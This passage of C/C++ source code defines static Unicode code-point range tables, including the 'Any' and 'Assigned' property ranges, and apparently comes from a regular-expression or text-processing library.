0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A8}, {0x112B0, 0x112E8}, {0x11300, 0x11303}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133D, 0x11344}, {0x11347, 0x11348}, {0x1134B, 0x1134C}, {0x11350, 0x11350}, {0x11357, 0x11357}, {0x1135D, 0x11363}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113C0}, {0x113C2, 0x113C2}, {0x113C5, 0x113C5}, {0x113C7, 0x113CA}, {0x113CC, 0x113CD}, {0x113D1, 0x113D1}, {0x113D3, 0x113D3}, {0x11400, 0x11441}, {0x11443, 0x11445}, {0x11447, 0x1144A}, {0x1145F, 0x11461}, {0x11480, 0x114C1}, {0x114C4, 0x114C5}, {0x114C7, 0x114C7}, {0x11580, 0x115B5}, {0x115B8, 0x115BE}, {0x115D8, 0x115DD}, {0x11600, 0x1163E}, {0x11640, 0x11640}, {0x11644, 0x11644}, {0x11680, 0x116B5}, {0x116B8, 0x116B8}, {0x11700, 0x1171A}, {0x1171D, 0x1172A}, {0x11740, 0x11746}, {0x11800, 0x11838}, {0x118A0, 0x118DF}, {0x118FF, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x11935}, {0x11937, 0x11938}, {0x1193B, 0x1193C}, {0x1193F, 0x11942}, {0x119A0, 0x119A7}, {0x119AA, 0x119D7}, {0x119DA, 0x119DF}, {0x119E1, 0x119E1}, {0x119E3, 0x119E4}, {0x11A00, 0x11A32}, {0x11A35, 0x11A3E}, {0x11A50, 0x11A97}, {0x11A9D, 0x11A9D}, {0x11AB0, 0x11AF8}, {0x11B60, 0x11B67}, {0x11BC0, 0x11BE0}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C36}, {0x11C38, 0x11C3E}, {0x11C40, 0x11C40}, {0x11C72, 0x11C8F}, {0x11C92, 0x11CA7}, {0x11CA9, 0x11CB6}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D41}, {0x11D43, 0x11D43}, {0x11D46, 0x11D47}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D8E}, {0x11D90, 0x11D91}, {0x11D93, 0x11D96}, {0x11D98, 0x11D98}, {0x11DB0, 0x11DDB}, {0x11EE0, 0x11EF6}, {0x11F00, 0x11F10}, {0x11F12, 0x11F3A}, {0x11F3E, 0x11F40}, {0x11FB0, 0x11FB0}, {0x12000, 0x12399}, {0x12400, 0x1246E}, {0x12480, 0x12543}, {0x12F90, 0x12FF0}, {0x13000, 0x1342F}, {0x13441, 0x13446}, {0x13460, 0x143FA}, {0x14400, 0x14646}, {0x16100, 0x1612E}, {0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A70, 0x16ABE}, {0x16AD0, 0x16AED}, {0x16B00, 0x16B2F}, {0x16B40, 0x16B43}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, {0x16D40, 0x16D6C}, {0x16E40, 0x16E7F}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x16F00, 0x16F4A}, {0x16F4F, 0x16F87}, {0x16F8F, 0x16F9F}, {0x16FE0, 0x16FE1}, {0x16FE3, 0x16FE3}, {0x16FF0, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1BC9E, 0x1BC9E}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D6C0}, {0x1D6C2, 0x1D6DA}, {0x1D6DC, 0x1D6FA}, {0x1D6FC, 0x1D714}, {0x1D716, 0x1D734}, {0x1D736, 0x1D74E}, {0x1D750, 0x1D76E}, {0x1D770, 0x1D788}, {0x1D78A, 0x1D7A8}, {0x1D7AA, 0x1D7C2}, {0x1D7C4, 0x1D7CB}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E030, 0x1E06D}, {0x1E08F, 0x1E08F}, {0x1E100, 0x1E12C}, {0x1E137, 0x1E13D}, {0x1E14E, 0x1E14E}, {0x1E290, 0x1E2AD}, {0x1E2C0, 0x1E2EB}, {0x1E4D0, 0x1E4EB}, {0x1E5D0, 0x1E5ED}, {0x1E5F0, 0x1E5F0}, {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6F5}, {0x1E6FE, 0x1E6FF}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, {0x1E800, 0x1E8C4}, {0x1E900, 0x1E943}, {0x1E947, 0x1E947}, {0x1E94B, 0x1E94B}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1F130, 0x1F149}, {0x1F150, 0x1F169}, {0x1F170, 0x1F189}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, }; static const UnicodeRange kRanges_Any[] = { {0x0, 0x10FFFF}, }; static const UnicodeRange kRanges_Assigned[] = { {0x0, 0x377}, {0x37A, 0x37F}, {0x384, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x52F}, {0x531, 0x556}, {0x559, 0x58A}, {0x58D, 0x58F}, {0x591, 0x5C7}, {0x5D0, 0x5EA}, {0x5EF, 0x5F4}, {0x600, 0x70D}, {0x70F, 0x74A}, {0x74D, 0x7B1}, {0x7C0, 0x7FA}, {0x7FD, 0x82D}, {0x830, 0x83E}, {0x840, 0x85B}, {0x85E, 0x85E}, {0x860, 0x86A}, {0x870, 0x891}, {0x897, 0x983}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BC, 0x9C4}, {0x9C7, 0x9C8}, {0x9CB, 0x9CE}, {0x9D7, 0x9D7}, {0x9DC, 0x9DD}, {0x9DF, 0x9E3}, {0x9E6, 0x9FE}, {0xA01, 0xA03}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA3C, 0xA3C}, {0xA3E, 0xA42}, {0xA47, 0xA48}, {0xA4B, 0xA4D}, {0xA51, 0xA51}, {0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA66, 0xA76}, {0xA81, 0xA83}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABC, 0xAC5}, {0xAC7, 0xAC9}, {0xACB, 0xACD}, {0xAD0, 0xAD0}, {0xAE0, 0xAE3}, {0xAE6, 0xAF1}, {0xAF9, 0xAFF}, {0xB01, 0xB03}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3C, 0xB44}, {0xB47, 0xB48}, {0xB4B, 0xB4D}, {0xB55, 0xB57}, {0xB5C, 0xB5D}, {0xB5F, 0xB63}, {0xB66, 0xB77}, {0xB82, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBBE, 0xBC2}, {0xBC6, 0xBC8}, {0xBCA, 0xBCD}, {0xBD0, 0xBD0}, {0xBD7, 0xBD7}, {0xBE6, 0xBFA}, {0xC00, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3C, 0xC44}, {0xC46, 0xC48}, {0xC4A, 0xC4D}, {0xC55, 0xC56}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC63}, {0xC66, 0xC6F}, {0xC77, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBC, 0xCC4}, {0xCC6, 0xCC8}, {0xCCA, 0xCCD}, {0xCD5, 0xCD6}, {0xCDC, 0xCDE}, {0xCE0, 0xCE3}, {0xCE6, 0xCEF}, {0xCF1, 0xCF3}, {0xD00, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD44}, {0xD46, 0xD48}, {0xD4A, 0xD4F}, {0xD54, 0xD63}, {0xD66, 0xD7F}, {0xD81, 0xD83}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xDCA, 0xDCA}, {0xDCF, 0xDD4}, {0xDD6, 0xDD6}, {0xDD8, 0xDDF}, {0xDE6, 0xDEF}, {0xDF2, 0xDF4}, {0xE01, 0xE3A}, {0xE3F, 0xE5B}, {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xEC8, 0xECE}, {0xED0, 0xED9}, {0xEDC, 0xEDF}, {0xF00, 0xF47}, {0xF49, 0xF6C}, {0xF71, 0xF97}, {0xF99, 0xFBC}, {0xFBE, 0xFCC}, {0xFCE, 0xFDA}, {0x1000, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x135D, 0x137C}, {0x1380, 0x1399}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1400, 0x169C}, {0x16A0, 0x16F8}, {0x1700, 0x1715}, {0x171F, 0x1736}, {0x1740, 0x1753}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1772, 0x1773}, {0x1780, 0x17DD}, {0x17E0, 0x17E9}, {0x17F0, 0x17F9}, {0x1800, 0x1819}, {0x1820, 0x1878}, {0x1880, 0x18AA}, {0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1920, 0x192B}, {0x1930, 0x193B}, {0x1940, 0x1940}, {0x1944, 0x196D}, {0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x19D0, 0x19DA}, {0x19DE, 0x1A1B}, {0x1A1E, 0x1A5E}, {0x1A60, 0x1A7C}, {0x1A7F, 0x1A89}, {0x1A90, 0x1A99}, {0x1AA0, 0x1AAD}, {0x1AB0, 0x1ADD}, {0x1AE0, 0x1AEB}, {0x1B00, 0x1B4C}, {0x1B4E, 0x1BF3}, {0x1BFC, 0x1C37}, {0x1C3B, 0x1C49}, {0x1C4D, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CC7}, {0x1CD0, 0x1CFA}, {0x1D00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FC4}, {0x1FC6, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FDD, 0x1FEF}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFE}, {0x2000, 0x2064}, {0x2066, 0x2071}, {0x2074, 0x208E}, {0x2090, 0x209C}, {0x20A0, 0x20C1}, {0x20D0, 0x20F0}, {0x2100, 0x218B}, {0x2190, 0x2429}, {0x2440, 0x244A}, {0x2460, 0x2B73}, {0x2B76, 0x2CF3}, {0x2CF9, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D70}, {0x2D7F, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0x2DE0, 0x2E5D}, {0x2E80, 0x2E99}, {0x2E9B, 0x2EF3}, {0x2F00, 0x2FD5}, {0x2FF0, 0x303F}, {0x3041, 0x3096}, {0x3099, 0x30FF}, {0x3105, 0x312F}, {0x3131, 0x318E}, {0x3190, 0x31E5}, {0x31EF, 0x321E}, {0x3220, 0xA48C}, {0xA490, 0xA4C6}, {0xA4D0, 0xA62B}, {0xA640, 0xA6F7}, {0xA700, 0xA7DC}, {0xA7F1, 0xA82C}, {0xA830, 0xA839}, {0xA840, 0xA877}, {0xA880, 0xA8C5}, {0xA8CE, 0xA8D9}, {0xA8E0, 0xA953}, {0xA95F, 0xA97C}, {0xA980, 0xA9CD}, {0xA9CF, 0xA9D9}, {0xA9DE, 0xA9FE}, {0xAA00, 0xAA36}, {0xAA40, 0xAA4D}, {0xAA50, 0xAA59}, {0xAA5C, 0xAAC2}, {0xAADB, 0xAAF6}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0xAB30, 0xAB6B}, {0xAB70, 0xABED}, {0xABF0, 0xABF9}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xD800, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFDCF}, {0xFDF0, 0xFE19}, {0xFE20, 0xFE52}, {0xFE54, 0xFE66}, {0xFE68, 0xFE6B}, {0xFE70, 0xFE74}, {0xFE76, 0xFEFC}, {0xFEFF, 0xFEFF}, {0xFF01, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0xFFE0, 0xFFE6}, {0xFFE8, 0xFFEE}, {0xFFF9, 0xFFFD}, {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10100, 0x10102}, {0x10107, 0x10133}, {0x10137, 0x1018E}, {0x10190, 0x1019C}, {0x101A0, 0x101A0}, {0x101D0, 0x101FD}, {0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x102E0, 0x102FB}, {0x10300, 0x10323}, {0x1032D, 0x1034A}, {0x10350, 0x1037A}, {0x10380, 0x1039D}, {0x1039F, 0x103C3}, {0x103C8, 0x103D5}, {0x10400, 0x1049D}, {0x104A0, 0x104A9}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563}, {0x1056F, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x105C0, 0x105F3}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10857, 0x1089E}, {0x108A7, 0x108AF}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x108FB, 0x1091B}, {0x1091F, 0x10939}, {0x1093F, 0x10959}, {0x10980, 0x109B7}, {0x109BC, 0x109CF}, {0x109D2, 0x10A03}, {0x10A05, 0x10A06}, {0x10A0C, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A48}, {0x10A50, 0x10A58}, {0x10A60, 0x10A9F}, {0x10AC0, 0x10AE6}, {0x10AEB, 0x10AF6}, {0x10B00, 0x10B35}, {0x10B39, 0x10B55}, {0x10B58, 0x10B72}, {0x10B78, 0x10B91}, {0x10B99, 0x10B9C}, {0x10BA9, 0x10BAF}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10CFA, 0x10D27}, {0x10D30, 0x10D39}, {0x10D40, 0x10D65}, {0x10D69, 0x10D85}, {0x10D8E, 0x10D8F}, {0x10E60, 0x10E7E}, {0x10E80, 0x10EA9}, {0x10EAB, 0x10EAD}, {0x10EB0, 0x10EB1}, {0x10EC2, 0x10EC7}, {0x10ED0, 0x10ED8}, {0x10EFA, 0x10F27}, {0x10F30, 0x10F59}, {0x10F70, 0x10F89}, {0x10FB0, 0x10FCB}, {0x10FE0, 0x10FF6}, {0x11000, 0x1104D}, {0x11052, 0x11075}, {0x1107F, 0x110C2}, {0x110CD, 0x110CD}, {0x110D0, 0x110E8}, {0x110F0, 0x110F9}, {0x11100, 0x11134}, {0x11136, 0x11147}, {0x11150, 0x11176}, {0x11180, 0x111DF}, {0x111E1, 0x111F4}, {0x11200, 0x11211}, {0x11213, 0x11241}, {0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A9}, {0x112B0, 0x112EA}, {0x112F0, 0x112F9}, {0x11300, 0x11303}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133B, 0x11344}, {0x11347, 0x11348}, {0x1134B, 0x1134D}, {0x11350, 0x11350}, {0x11357, 0x11357}, {0x1135D, 0x11363}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113C0}, {0x113C2, 0x113C2}, {0x113C5, 0x113C5}, {0x113C7, 0x113CA}, {0x113CC, 0x113D5}, {0x113D7, 0x113D8}, {0x113E1, 0x113E2}, {0x11400, 0x1145B}, {0x1145D, 0x11461}, {0x11480, 0x114C7}, {0x114D0, 0x114D9}, {0x11580, 0x115B5}, {0x115B8, 0x115DD}, {0x11600, 0x11644}, {0x11650, 0x11659}, {0x11660, 0x1166C}, {0x11680, 0x116B9}, {0x116C0, 0x116C9}, {0x116D0, 0x116E3}, {0x11700, 0x1171A}, {0x1171D, 0x1172B}, {0x11730, 0x11746}, {0x11800, 0x1183B}, {0x118A0, 0x118F2}, {0x118FF, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x11935}, {0x11937, 0x11938}, {0x1193B, 0x11946}, {0x11950, 0x11959}, {0x119A0, 0x119A7}, {0x119AA, 0x119D7}, {0x119DA, 0x119E4}, {0x11A00, 0x11A47}, {0x11A50, 0x11AA2}, {0x11AB0, 0x11AF8}, {0x11B00, 0x11B09}, {0x11B60, 0x11B67}, {0x11BC0, 0x11BE1}, {0x11BF0, 0x11BF9}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C36}, {0x11C38, 0x11C45}, {0x11C50, 0x11C6C}, {0x11C70, 0x11C8F}, {0x11C92, 0x11CA7}, {0x11CA9, 0x11CB6}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D47}, {0x11D50, 0x11D59}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D8E}, {0x11D90, 0x11D91}, {0x11D93, 0x11D98}, {0x11DA0, 0x11DA9}, {0x11DB0, 0x11DDB}, {0x11DE0, 0x11DE9}, {0x11EE0, 0x11EF8}, {0x11F00, 0x11F10}, {0x11F12, 0x11F3A}, {0x11F3E, 0x11F5A}, {0x11FB0, 0x11FB0}, {0x11FC0, 0x11FF1}, {0x11FFF, 0x12399}, {0x12400, 0x1246E}, {0x12470, 0x12474}, {0x12480, 0x12543}, {0x12F90, 0x12FF2}, {0x13000, 0x13455}, {0x13460, 0x143FA}, {0x14400, 0x14646}, {0x16100, 0x16139}, {0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A60, 0x16A69}, {0x16A6E, 0x16ABE}, {0x16AC0, 0x16AC9}, {0x16AD0, 0x16AED}, {0x16AF0, 0x16AF5}, {0x16B00, 0x16B45}, {0x16B50, 0x16B59}, {0x16B5B, 0x16B61}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, {0x16D40, 0x16D79}, {0x16E40, 0x16E9A}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x16F00, 0x16F4A}, {0x16F4F, 0x16F87}, {0x16F8F, 0x16F9F}, {0x16FE0, 0x16FE4}, {0x16FF0, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1BC9C, 0x1BCA3}, {0x1CC00, 0x1CCFC}, {0x1CD00, 0x1CEB3}, {0x1CEBA, 0x1CED0}, {0x1CEE0, 0x1CEF0}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, {0x1CF50, 0x1CFC3}, {0x1D000, 0x1D0F5}, {0x1D100, 0x1D126}, {0x1D129, 0x1D1EA}, {0x1D200, 0x1D245}, {0x1D2C0, 0x1D2D3}, {0x1D2E0, 0x1D2F3}, {0x1D300, 0x1D356}, {0x1D360, 0x1D378}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D7CB}, {0x1D7CE, 0x1DA8B}, {0x1DA9B, 0x1DA9F}, {0x1DAA1, 0x1DAAF}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E030, 0x1E06D}, {0x1E08F, 0x1E08F}, {0x1E100, 0x1E12C}, {0x1E130, 0x1E13D}, {0x1E140, 0x1E149}, {0x1E14E, 0x1E14F}, {0x1E290, 0x1E2AE}, {0x1E2C0, 0x1E2F9}, {0x1E2FF, 0x1E2FF}, {0x1E4D0, 0x1E4F9}, {0x1E5D0, 0x1E5FA}, {0x1E5FF, 0x1E5FF}, {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6F5}, {0x1E6FE, 0x1E6FF}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, {0x1E800, 0x1E8C4}, {0x1E8C7, 0x1E8D6}, {0x1E900, 0x1E94B}, {0x1E950, 0x1E959}, {0x1E95E, 0x1E95F}, {0x1EC71, 0x1ECB4}, {0x1ED01, 0x1ED3D}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1EEF0, 0x1EEF1}, {0x1F000, 0x1F02B}, {0x1F030, 0x1F093}, {0x1F0A0, 0x1F0AE}, {0x1F0B1, 0x1F0BF}, {0x1F0C1, 0x1F0CF}, {0x1F0D1, 0x1F0F5}, {0x1F100, 0x1F1AD}, {0x1F1E6, 0x1F202}, {0x1F210, 0x1F23B}, {0x1F240, 0x1F248}, {0x1F250, 0x1F251}, {0x1F260, 0x1F265}, {0x1F300, 0x1F6D8}, {0x1F6DC, 0x1F6EC}, {0x1F6F0, 0x1F6FC}, {0x1F700, 0x1F7D9}, {0x1F7E0, 0x1F7EB}, {0x1F7F0, 0x1F7F0}, {0x1F800, 0x1F80B}, {0x1F810, 0x1F847}, {0x1F850, 0x1F859}, {0x1F860, 0x1F887}, {0x1F890, 0x1F8AD}, {0x1F8B0, 0x1F8BB}, {0x1F8C0, 0x1F8C1}, {0x1F8D0, 0x1F8D8}, {0x1F900, 0x1FA57}, {0x1FA60, 0x1FA6D}, {0x1FA70, 0x1FA7C}, {0x1FA80, 0x1FA8A}, {0x1FA8E, 0x1FAC6}, {0x1FAC8, 0x1FAC8}, {0x1FACD, 0x1FADC}, {0x1FADF, 0x1FAEA}, {0x1FAEF, 0x1FAF8}, {0x1FB00, 0x1FB92}, {0x1FB94, 0x1FBFA}, 